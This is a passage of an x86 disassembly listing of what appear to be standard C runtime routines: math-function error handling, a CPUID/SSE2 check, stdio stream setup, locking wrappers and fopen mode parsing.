inc edi push edi call sub_421909 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_420682 push esi push ds:dword_43357C call ds:dword_4356B4 ; TlsSetValue test eax, eax jz short loc_420682 mov dword ptr [esi+54h], offset dword_433810 mov [esi+14h], edi call ds:dword_4291A4 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax mov eax, edi jmp short loc_420689 ; --------------------------------------------------------------------------- loc_420682: ; CODE XREF: sub_42059D+A2j ; sub_42059D+B8j ... call sub_420386 xor eax, eax loc_420689: ; CODE XREF: sub_42059D+E3j pop edi pop esi retn sub_42059D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42068C proc near ; CODE XREF: .text:0041CFB5p ; .text:0041D195p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, ds:dword_433148 mov [ebp+var_4], eax mov eax, [ebp+arg_C] mov ecx, 0A1h cmp eax, ecx push esi jg loc_4207BE jz loc_4207B2 cmp eax, 18h jg loc_420742 jz short loc_42072F push 2 pop ecx sub eax, ecx jz short loc_420720 dec eax jz short loc_420714 sub eax, 5 jz short loc_420705 dec eax jz short loc_4206F9 sub eax, 5 jz short loc_4206E6 dec eax jnz loc_42090F mov [ebp+var_20], offset aExp ; "exp" jmp loc_420783 ; --------------------------------------------------------------------------- loc_4206E6: ; CODE XREF: sub_42068C+45j mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp ; "exp" jmp loc_420845 ; --------------------------------------------------------------------------- loc_4206F9: ; CODE XREF: sub_42068C+40j mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_4208AC ; --------------------------------------------------------------------------- loc_420705: ; CODE XREF: sub_42068C+3Dj mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_420845 ; --------------------------------------------------------------------------- loc_420714: ; CODE XREF: sub_42068C+38j mov [ebp+var_20], offset aLog ; "log" jmp loc_4208AC ; --------------------------------------------------------------------------- loc_420720: ; CODE XREF: sub_42068C+35j mov [ebp+var_24], ecx mov [ebp+var_20], offset aLog ; "log" jmp loc_420845 ; --------------------------------------------------------------------------- loc_42072F: ; CODE XREF: sub_42068C+2Ej mov [ebp+var_24], 3 loc_420736: ; CODE XREF: sub_42068C+E2j mov [ebp+var_20], offset aPow ; "pow" jmp loc_420845 ; --------------------------------------------------------------------------- loc_420742: ; CODE XREF: sub_42068C+28j sub eax, 19h jz short loc_42077C dec eax jz short loc_420770 dec eax jz short loc_420767 dec eax jz loc_4208A5 dec eax jnz loc_42090F mov [ebp+var_20], offset aPow ; "pow" jmp loc_4208CD ; --------------------------------------------------------------------------- loc_420767: ; CODE XREF: sub_42068C+BFj mov [ebp+var_24], 2 jmp short loc_420736 ; --------------------------------------------------------------------------- loc_420770: ; CODE XREF: sub_42068C+BCj mov eax, [ebp+arg_8] fld1 fstp qword ptr [eax] jmp loc_42090F ; --------------------------------------------------------------------------- loc_42077C: ; CODE XREF: sub_42068C+B9j mov [ebp+var_20], offset aPow ; "pow" loc_420783: ; CODE XREF: sub_42068C+55j mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] mov [ebp+var_24], 4 fstp [ebp+var_C] call ds:off_433580 pop ecx jmp loc_42090A ; --------------------------------------------------------------------------- loc_4207B2: ; CODE XREF: sub_42068C+1Fj mov [ebp+var_24], 3 jmp loc_42083E ; --------------------------------------------------------------------------- loc_4207BE: ; CODE XREF: sub_42068C+19j mov ecx, 3EAh cmp eax, ecx jg loc_420889 jz loc_420880 sub eax, 0A2h jz short loc_420837 sub eax, 4 jz short loc_420827 sub eax, 4 jz short loc_420817 dec eax jz short loc_42080B sub eax, 33Dh jz short loc_4207FF dec eax jnz loc_42090F mov [ebp+var_20], offset aLog10 ; "log10" jmp loc_4208CD ; --------------------------------------------------------------------------- loc_4207FF: ; CODE XREF: sub_42068C+15Ej mov [ebp+var_20], offset aLog ; "log" jmp loc_4208CD ; --------------------------------------------------------------------------- loc_42080B: ; CODE XREF: sub_42068C+157j mov [ebp+var_20], offset aLog2 ; "log2" jmp loc_4208AC ; --------------------------------------------------------------------------- loc_420817: ; CODE XREF: sub_42068C+154j mov [ebp+var_24], 2 mov [ebp+var_20], offset aLog2 ; "log2" jmp short loc_420845 ; --------------------------------------------------------------------------- loc_420827: ; CODE XREF: sub_42068C+14Fj mov [ebp+var_24], 3 mov [ebp+var_20], offset aExp10 ; "exp10" jmp short loc_420845 ; --------------------------------------------------------------------------- loc_420837: ; CODE XREF: sub_42068C+14Aj mov [ebp+var_24], 4 loc_42083E: ; CODE XREF: sub_42068C+12Dj mov [ebp+var_20], offset aExp2 ; "exp2" loc_420845: ; CODE XREF: sub_42068C+68j ; sub_42068C+83j ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov eax, [ebp+arg_4] mov esi, [ebp+arg_8] fstp [ebp+var_1C] fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call ds:off_433580 test eax, eax pop ecx jnz loc_42090A call sub_4200B5 mov dword ptr [eax], 22h jmp loc_42090A ; --------------------------------------------------------------------------- loc_420880: ; CODE XREF: sub_42068C+13Fj mov [ebp+var_20], offset aExp ; "exp" jmp short loc_4208CD ; --------------------------------------------------------------------------- loc_420889: ; CODE XREF: sub_42068C+139j sub eax, 3EBh jz short loc_4208C6 dec eax jz short loc_4208BD dec eax jz short loc_4208B4 dec eax jz short loc_4208A5 dec eax jnz short loc_42090F mov [ebp+var_20], offset aModf ; "modf" jmp short loc_4208CD ; --------------------------------------------------------------------------- loc_4208A5: ; CODE XREF: sub_42068C+C2j ; sub_42068C+20Bj mov [ebp+var_20], offset aPow ; "pow" loc_4208AC: ; CODE XREF: sub_42068C+74j ; sub_42068C+8Fj ... mov eax, [ebp+arg_0] mov esi, [ebp+arg_8] jmp short loc_4208D7 ; --------------------------------------------------------------------------- loc_4208B4: ; CODE XREF: sub_42068C+208j mov [ebp+var_20], offset aFloor ; "floor" jmp short loc_4208CD ; --------------------------------------------------------------------------- loc_4208BD: ; CODE XREF: sub_42068C+205j mov [ebp+var_20], offset aCeil ; "ceil" jmp short loc_4208CD ; --------------------------------------------------------------------------- loc_4208C6: ; CODE XREF: sub_42068C+202j mov [ebp+var_20], offset aAtan ; "atan" loc_4208CD: ; CODE XREF: sub_42068C+D6j ; sub_42068C+16Ej ... mov eax, [ebp+arg_0] fld qword ptr [eax] mov esi, [ebp+arg_8] fstp qword ptr [esi] loc_4208D7: ; CODE XREF: sub_42068C+226j fld qword ptr [eax] mov eax, [ebp+arg_4] fstp [ebp+var_1C] mov [ebp+var_24], 1 fld qword ptr [eax] lea eax, [ebp+var_24] fstp [ebp+var_14] push eax fld qword ptr [esi] fstp [ebp+var_C] call ds:off_433580 test eax, eax pop ecx jnz short loc_42090A call sub_4200B5 mov dword ptr [eax], 21h loc_42090A: ; CODE XREF: sub_42068C+121j ; sub_42068C+1DEj ... fld [ebp+var_C] fstp qword ptr [esi] loc_42090F: ; CODE XREF: sub_42068C+48j ; sub_42068C+C9j ... mov ecx, [ebp+var_4] pop esi call sub_41E5BB leave retn sub_42068C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42091A proc near ; CODE XREF: .text:004209B0p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_429F10 call __SEH_prolog and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_420942 ; --------------------------------------------------------------------------- loc_42093B: ; DATA XREF: .text:stru_429F10o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_42093F: ; DATA XREF: .text:stru_429F10o mov esp, [ebp+ms_exc.old_esp] loc_420942: ; CODE XREF: sub_42091A+1Fj or [ebp+ms_exc.disabled], 0FFFFFFFFh mov eax, [ebp+var_1C] call __SEH_epilog retn sub_42091A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h mov eax, ds:dword_433148 mov [ebp-4], eax xor eax, eax push ebx push esi mov [ebp-1Ch], eax mov [ebp-18h], eax mov [ebp-14h], al push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_42099B push ecx popf xor eax, eax cpuid mov [ebp-20h], eax mov [ebp-14h], ebx mov [ebp-10h], edx mov [ebp-0Ch], ecx mov eax, 1 cpuid mov [ebp-1Ch], edx mov [ebp-18h], eax loc_42099B: ; CODE XREF: .text:0042097Aj pop ebx and ds:dword_439588, 0 and ds:dword_439584, 0 test byte ptr [ebp-19h], 4 jz short loc_420A0F call sub_42091A test eax, eax jz short loc_420A0F push 0Ch lea eax, [ebp-14h] xor esi, esi push eax inc esi push offset aAuthenticamd ; "AuthenticAMD" mov ds:dword_439588, esi call sub_41D5B0 add esp, 0Ch test eax, eax jnz short loc_420A09 mov ecx, [ebp-18h] mov eax, ecx sar eax, 8 and eax, 0Fh sar ecx, 14h mov edx, eax sub edx, 0Fh and ecx, 0FFh neg edx sbb edx, edx not edx and edx, ecx add edx, eax sub edx, 0Fh neg edx sbb edx, edx inc edx mov [ebp-20h], edx jnz short loc_420A0F loc_420A09: ; CODE XREF: .text:004209D7j mov ds:dword_439584, esi loc_420A0F: ; CODE XREF: .text:004209AEj ; .text:004209B7j ... mov ecx, [ebp-4] xor eax, eax call sub_41E5BB pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_420A1D: ; CODE XREF: .text:0041CF07j ; .text:0041CF38j push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_433584 call sub_425554 fld qword ptr [ebp+8] pop ecx pop ecx mov ebx, eax mov eax, [ebp+0Eh] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp qword ptr [esp] jnz short loc_420AA3 call sub_425426 test eax, eax pop ecx pop ecx jle short loc_420A86 cmp eax, 2 jle short loc_420A78 cmp eax, 3 jnz short loc_420A86 fld qword ptr [ebp+8] push ebx push ecx push ecx fstp qword ptr [esp] push 0Ch call sub_4252E0 add esp, 10h jmp short loc_420AEC ; --------------------------------------------------------------------------- loc_420A78: ; CODE XREF: .text:00420A5Cj push esi push ebx call sub_425554 fld qword ptr [ebp+8] pop ecx pop ecx jmp short loc_420AEC ; --------------------------------------------------------------------------- loc_420A86: ; CODE XREF: .text:00420A57j ; .text:00420A61j fld qword ptr [ebp+8] push ebx fadd ds:dbl_429F30 sub esp, 10h fstp qword ptr [esp+8] fld qword ptr [ebp+8] fstp qword ptr [esp] push 0Ch push 8 jmp short loc_420AE4 ; --------------------------------------------------------------------------- loc_420AA3: ; CODE XREF: .text:00420A4Cj call sub_4253EB fstp qword ptr [ebp-8] fld qword ptr [ebp+8] pop ecx fld qword ptr [ebp-8] pop ecx fucompp fnstsw ax test ah, 44h jp short loc_420ACA loc_420ABC: ; CODE XREF: .text:00420ACDj push esi push ebx call sub_425554 fld qword ptr [ebp-8] pop ecx pop ecx jmp short loc_420AEC ; --------------------------------------------------------------------------- loc_420ACA: ; CODE XREF: .text:00420ABAj test bl, 20h jnz short loc_420ABC fld qword ptr [ebp-8] push ebx sub esp, 10h fstp qword ptr [esp+8] fld qword ptr [ebp+8] fstp qword ptr [esp] push 0Ch push 10h loc_420AE4: ; CODE XREF: .text:00420AA1j call sub_425333 add esp, 1Ch loc_420AEC: ; CODE XREF: .text:00420A76j ; .text:00420A84j ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_420AF0: ; CODE XREF: .text:0041D0E7j ; .text:0041D118j push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_433588 call sub_425554 fld qword ptr [ebp+8] pop ecx pop ecx mov ebx, eax mov eax, [ebp+0Eh] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp qword ptr [esp] jnz short loc_420B76 call sub_425426 test eax, eax pop ecx pop ecx jle short loc_420B59 cmp eax, 2 jle short loc_420B4B cmp eax, 3 jnz short loc_420B59 fld qword ptr [ebp+8] push ebx push ecx push ecx fstp qword ptr [esp] push 0Bh call sub_4252E0 add esp, 10h jmp short loc_420BBF ; --------------------------------------------------------------------------- loc_420B4B: ; CODE XREF: .text:00420B2Fj push esi push ebx call sub_425554 fld qword ptr [ebp+8] pop ecx pop ecx jmp short loc_420BBF ; --------------------------------------------------------------------------- loc_420B59: ; CODE XREF: .text:00420B2Aj ; .text:00420B34j fld qword ptr [ebp+8] push ebx fadd ds:dbl_429F30 sub esp, 10h fstp qword ptr [esp+8] fld qword ptr [ebp+8] fstp qword ptr [esp] push 0Bh push 8 jmp short loc_420BB7 ; --------------------------------------------------------------------------- loc_420B76: ; CODE XREF: .text:00420B1Fj call sub_4253EB fstp qword ptr [ebp-8] fld qword ptr [ebp+8] pop ecx fld qword ptr [ebp-8] pop ecx fucompp fnstsw ax test ah, 44h jp short loc_420B9D loc_420B8F: ; CODE XREF: .text:00420BA0j push esi push ebx call sub_425554 fld qword ptr [ebp-8] pop ecx pop ecx jmp short loc_420BBF ; --------------------------------------------------------------------------- loc_420B9D: ; CODE XREF: .text:00420B8Dj test bl, 20h jnz short loc_420B8F fld qword ptr [ebp-8] push ebx sub esp, 10h fstp qword ptr [esp+8] fld qword ptr [ebp+8] fstp qword ptr [esp] push 0Bh push 10h loc_420BB7: ; CODE XREF: .text:00420B74j call sub_425333 add esp, 1Ch loc_420BBF: ; CODE XREF: .text:00420B49j ; .text:00420B57j ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- mov eax, ds:dword_439580 test eax, eax push esi push 14h pop esi jnz short loc_420BD7 mov eax, 200h jmp short loc_420BDD ; --------------------------------------------------------------------------- loc_420BD7: ; CODE XREF: .text:00420BCEj cmp eax, esi jge short loc_420BE2 mov eax, esi loc_420BDD: ; CODE XREF: .text:00420BD5j mov ds:dword_439580, eax loc_420BE2: ; CODE XREF: .text:00420BD9j push 4 push eax call sub_421909 test eax, eax pop ecx pop ecx mov ds:dword_438560, eax jnz short loc_420C13 push 4 push esi mov ds:dword_439580, esi call sub_421909 test eax, eax pop ecx pop ecx mov ds:dword_438560, eax jnz short loc_420C13 push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_420C13: ; CODE XREF: .text:00420BF3j ; .text:00420C0Cj xor edx, edx mov ecx, offset off_433590 jmp short loc_420C21 ; --------------------------------------------------------------------------- loc_420C1C: ; CODE XREF: .text:00420C30j mov eax, ds:dword_438560 loc_420C21: ; CODE XREF: .text:00420C1Aj mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_433810 jl short loc_420C1C xor ecx, ecx mov edx, offset dword_4335A0 loc_420C39: ; CODE XREF: .text:00420C66j mov esi, ecx mov eax, ecx and eax, 1Fh sar esi, 5 mov esi, ds:dword_438460[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_420C59 test eax, eax jnz short loc_420C5C loc_420C59: ; CODE XREF: .text:00420C53j or dword ptr [edx], 0FFFFFFFFh loc_420C5C: ; CODE XREF: .text:00420C57j add edx, 20h inc ecx cmp edx, offset dword_433600 jl short loc_420C39 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_420C6C: ; DATA XREF: .text:00433064o call sub_421309 cmp ds:byte_435694, 0 jz short locret_420C7F jmp loc_4255CE ; --------------------------------------------------------------------------- locret_420C7F: ; CODE XREF: .text:00420C78j retn ; =============== S U B R O U T I N E ======================================= sub_420C80 proc near ; CODE XREF: sub_41D3E7+13p ; sub_41D4C3+27p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_433590 cmp eax, ecx jb short loc_420CA4 cmp eax, offset dword_4337F0 ja short loc_420CA4 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_41E983 pop ecx retn ; --------------------------------------------------------------------------- loc_420CA4: ; CODE XREF: sub_420C80+Bj ; sub_420C80+12j add eax, 20h push eax call ds:dword_429130 ; RtlEnterCriticalSection retn sub_420C80 endp ; =============== S U B R O U T I N E ======================================= sub_420CAF proc near ; CODE XREF: sub_420E8C+66p ; sub_421234+44p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_420CC3 add eax, 10h push eax call sub_41E983 pop ecx retn ; --------------------------------------------------------------------------- loc_420CC3: ; CODE XREF: sub_420CAF+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_429130 ; RtlEnterCriticalSection retn sub_420CAF endp ; =============== S U B R O U T I N E ======================================= sub_420CD2 proc near ; CODE XREF: sub_41D3CA+3p ; sub_41D43B+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_433590 cmp eax, ecx jb short loc_420CF6 cmp eax, offset dword_4337F0 ja short loc_420CF6 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_41E8CE pop ecx retn ; --------------------------------------------------------------------------- loc_420CF6: ; CODE XREF: sub_420CD2+Bj ; sub_420CD2+12j add eax, 20h push eax call ds:dword_42912C ; RtlLeaveCriticalSection retn sub_420CD2 endp ; =============== S U B R O U T I N E ======================================= sub_420D01 proc near ; CODE XREF: sub_420E8C+7Dp ; sub_4212D4+9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_420D15 add eax, 10h push eax call sub_41E8CE pop ecx retn ; --------------------------------------------------------------------------- loc_420D15: ; CODE XREF: sub_420D01+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_42912C ; RtlLeaveCriticalSection retn sub_420D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D24 proc near ; CODE XREF: sub_41D378+35p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_4356D4 push edi mov edi, [ebp+arg_4] mov al, [edi] xor ebx, ebx cmp al, 61h mov [ebp+var_8], ebx mov [ebp+var_4], ebx jz short loc_420D5D cmp al, 72h jz short loc_420D56 cmp al, 77h jnz loc_420E69 mov ecx, 301h jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D56: ; CODE XREF: sub_420D24+21j xor ecx, ecx or esi, 1 jmp short loc_420D65 ; --------------------------------------------------------------------------- loc_420D5D: ; CODE XREF: sub_420D24+1Dj mov ecx, 109h loc_420D62: ; CODE XREF: sub_420D24+30j or esi, 2 loc_420D65: ; CODE XREF: sub_420D24+37j xor edx, edx inc edx jmp loc_420E44 ; --------------------------------------------------------------------------- loc_420D6D: ; CODE XREF: sub_420D24+125j cmp edx, ebx jz loc_420E4F movsx eax, al cmp eax, 54h jg short loc_420DEE jz short loc_420DE1 sub eax, 2Bh jz short loc_420DCB sub eax, 19h jz short loc_420DC1 sub eax, 0Eh jz short loc_420DAD dec eax jnz loc_420E26 cmp [ebp+var_4], ebx jnz loc_420E26 mov [ebp+var_4], 1 or ecx, 20h jmp loc_420E44 ; --------------------------------------------------------------------------- loc_420DAD: ; CODE XREF: sub_420D24+68j cmp [ebp+var_4], ebx jnz short loc_420E26 mov [ebp+var_4], 1 or ecx, 10h jmp loc_420E44 ; --------------------------------------------------------------------------- loc_420DC1: ; CODE XREF: sub_420D24+63j test cl, 40h jnz short loc_420E26 or ecx, 40h jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420DCB: ; CODE XREF: sub_420D24+5Ej test cl, 2 jnz short loc_420E26 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420DE1: ; CODE XREF: sub_420D24+59j mov eax, 1000h test ecx, eax jnz short loc_420E26 or ecx, eax jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420DEE: ; CODE XREF: sub_420D24+57j sub eax, 62h jz short loc_420E39 dec eax jz short loc_420E21 sub eax, 0Bh jz short loc_420E0D sub eax, 6 jnz short loc_420E26 test ch, 0C0h jnz short loc_420E26 or ecx, 4000h jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420E0D: ; CODE XREF: sub_420D24+D5j cmp [ebp+var_8], ebx jnz short loc_420E26 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420E21: ; CODE XREF: sub_420D24+D0j cmp [ebp+var_8], ebx jz short loc_420E2A loc_420E26: ; CODE XREF: sub_420D24+6Bj ; sub_420D24+74j ... xor edx, edx jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420E2A: ; CODE XREF: sub_420D24+100j mov [ebp+var_8], 1 or esi, 4000h jmp short loc_420E44 ; --------------------------------------------------------------------------- loc_420E39: ; CODE XREF: sub_420D24+CDj test ch, 0C0h jnz short loc_420E26 or ecx, 8000h loc_420E44: ; CODE XREF: sub_420D24+44j ; sub_420D24+84j ... inc edi mov al, [edi] cmp al, bl jnz loc_420D6D loc_420E4F: ; CODE XREF: sub_420D24+4Bj push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_421E86 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_420E6D loc_420E69: ; CODE XREF: sub_420D24+25j xor eax, eax jmp short loc_420E87 ; --------------------------------------------------------------------------- loc_420E6D: ; CODE XREF: sub_420D24+143j mov eax, [ebp+arg_C] inc ds:dword_4356C0 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_420E87: ; CODE XREF: sub_420D24+147j pop edi pop esi pop ebx leave retn sub_420D24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E8C proc near ; CODE XREF: sub_41D378+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset stru_429F38 call __SEH_prolog xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_420EAC: ; CODE XREF: sub_420E8C+85j mov [ebp+var_20], esi cmp esi, ds:dword_439580 jge loc_420F7B mov eax, ds:dword_438560 mov eax, [eax+esi*4] cmp eax, ebx jz short loc_420F17 test byte ptr [eax+0Ch], 83h jnz short loc_420F10 cmp esi, 2 jle short loc_420EE9 cmp esi, 14h jge short loc_420EE9 lea eax, [esi+10h] push eax call sub_41E8E3 pop ecx test eax, eax jz loc_420F7B loc_420EE9: ; CODE XREF: sub_420E8C+44j ; sub_420E8C+49j mov eax, ds:dword_438560 push dword ptr [eax+esi*4] push esi call sub_420CAF pop ecx pop ecx mov eax, ds:dword_438560 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_420F13 push eax push esi call sub_420D01 pop ecx pop ecx loc_420F10: ; CODE XREF: sub_420E8C+3Fj inc esi jmp short loc_420EAC ; --------------------------------------------------------------------------- loc_420F13: ; CODE XREF: sub_420E8C+79j mov edi, eax jmp short loc_420F78 ; --------------------------------------------------------------------------- loc_420F17: ; CODE XREF: sub_420E8C+39j shl esi, 2 push 38h call sub_41D0C4 pop ecx mov ecx, ds:dword_438560 mov [esi+ecx], eax mov eax, ds:dword_438560 mov eax, [esi+eax] cmp eax, ebx jz short loc_420F7B push 0FA0h add eax, 20h push eax call sub_423F72 pop ecx pop ecx test eax, eax mov eax, ds:dword_438560 jnz short loc_420F63 push dword ptr [esi+eax] call sub_41C2DD pop ecx mov eax, ds:dword_438560 mov [esi+eax], ebx jmp short loc_420F7B ; --------------------------------------------------------------------------- loc_420F63: ; CODE XREF: sub_420E8C+C2j mov eax, [esi+eax] add eax, 20h push eax call ds:dword_429130 ; RtlEnterCriticalSection mov eax, ds:dword_438560 mov edi, [esi+eax] loc_420F78: ; CODE XREF: sub_420E8C+89j mov [ebp+var_1C], edi loc_420F7B: ; CODE XREF: sub_420E8C+29j ; sub_420E8C+57j ... cmp edi, ebx jz short loc_420F91 mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_420F91: ; CODE XREF: sub_420E8C+F1j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_420FA5 mov eax, edi call __SEH_epilog retn sub_420E8C endp ; =============== S U B R O U T I N E ======================================= sub_420FA2 proc near ; DATA XREF: .text:stru_429F38o mov edi, [ebp-1Ch] sub_420FA2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420FA5 proc near ; CODE XREF: sub_420E8C+109p push 1 call sub_41E8CE pop ecx retn sub_420FA5 endp ; =============== S U B R O U T I N E ======================================= sub_420FAE proc near ; CODE XREF: sub_41D3E7+1Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_424160 test eax, eax pop ecx jz short loc_421032 cmp esi, offset dword_4335B0 jnz short loc_420FCC xor eax, eax jmp short loc_420FD7 ; --------------------------------------------------------------------------- loc_420FCC: ; CODE XREF: sub_420FAE+18j cmp esi, offset dword_4335D0 jnz short loc_421032 xor eax, eax inc eax loc_420FD7: ; CODE XREF: sub_420FAE+1Cj inc ds:dword_4356C0 test word ptr [esi+0Ch], 10Ch jnz short loc_421032 push ebx push edi lea edi, ds:4356C4h[eax*4] cmp dword ptr [edi], 0 mov ebx, 1000h jnz short loc_421018 push ebx call sub_41D0C4 test eax, eax pop ecx mov [edi], eax jnz short loc_421018 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_421025 ; --------------------------------------------------------------------------- loc_421018: ; CODE XREF: sub_420FAE+48j ; sub_420FAE+55j mov edi, [edi] mov [esi+8], edi mov [esi], edi mov [esi+18h], ebx mov [esi+4], ebx loc_421025: ; CODE XREF: sub_420FAE+68j or word ptr [esi+0Ch], 1102h pop edi xor eax, eax pop ebx inc eax pop esi retn ; --------------------------------------------------------------------------- loc_421032: ; CODE XREF: sub_420FAE+10j ; sub_420FAE+24j ... xor eax, eax pop esi retn sub_420FAE endp ; =============== S U B R O U T I N E ======================================= sub_421036 proc near ; CODE XREF: sub_41D3E7+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 jz short locret_42105F push esi mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42105E push esi call sub_4211A9 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_42105E: ; CODE XREF: sub_421036+10j pop esi locret_42105F: ; CODE XREF: sub_421036+5j retn sub_421036 endp ; =============== S U B R O U T I N E ======================================= sub_421060 proc near ; CODE XREF: sub_4210E3+4Cp ; sub_421B9F+2DCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_425764 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4210AE cmp esi, 1 jz short loc_42107C cmp esi, 2 jnz short loc_421092 loc_42107C: ; CODE XREF: sub_421060+15j push 2 call sub_425764 push 1 mov edi, eax call sub_425764 cmp eax, edi pop ecx pop ecx jz short loc_4210AE loc_421092: ; CODE XREF: sub_421060+1Aj push esi call sub_425764 pop ecx push eax call ds:dword_4290F0 ; CloseHandle test eax, eax jnz short loc_4210AE call ds:dword_4290D8 ; RtlGetLastWin32Error mov edi, eax jmp short loc_4210B0 ; --------------------------------------------------------------------------- loc_4210AE: ; CODE XREF: sub_421060+10j ; sub_421060+30j ... xor edi, edi loc_4210B0: ; CODE XREF: sub_421060+4Cj push esi call sub_4256E5 mov eax, esi sar eax, 5 mov eax, ds:dword_438460[eax*4] and esi, 1Fh test edi, edi pop ecx lea ecx, [esi+esi*8] mov byte ptr [eax+ecx*4+4], 0 jz short loc_4210DE push edi call sub_4200C7 pop ecx or eax, 0FFFFFFFFh jmp short loc_4210E0 ; --------------------------------------------------------------------------- loc_4210DE: ; CODE XREF: sub_421060+70j xor eax, eax loc_4210E0: ; CODE XREF: sub_421060+7Cj pop edi pop esi retn sub_421060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E3 proc near ; CODE XREF: sub_41D477+20p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00421162 SIZE 0000001C BYTES push 0Ch push offset stru_429F48 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, ds:dword_43844C jnb short loc_421162 mov eax, ebx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_421162 push ebx call sub_4257A5 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_42113A push ebx call sub_421060 pop ecx mov [ebp+var_1C], eax jmp short loc_421149 ; --------------------------------------------------------------------------- loc_42113A: ; CODE XREF: sub_4210E3+49j call sub_4200B5 mov dword ptr [eax], 9 or [ebp+var_1C], 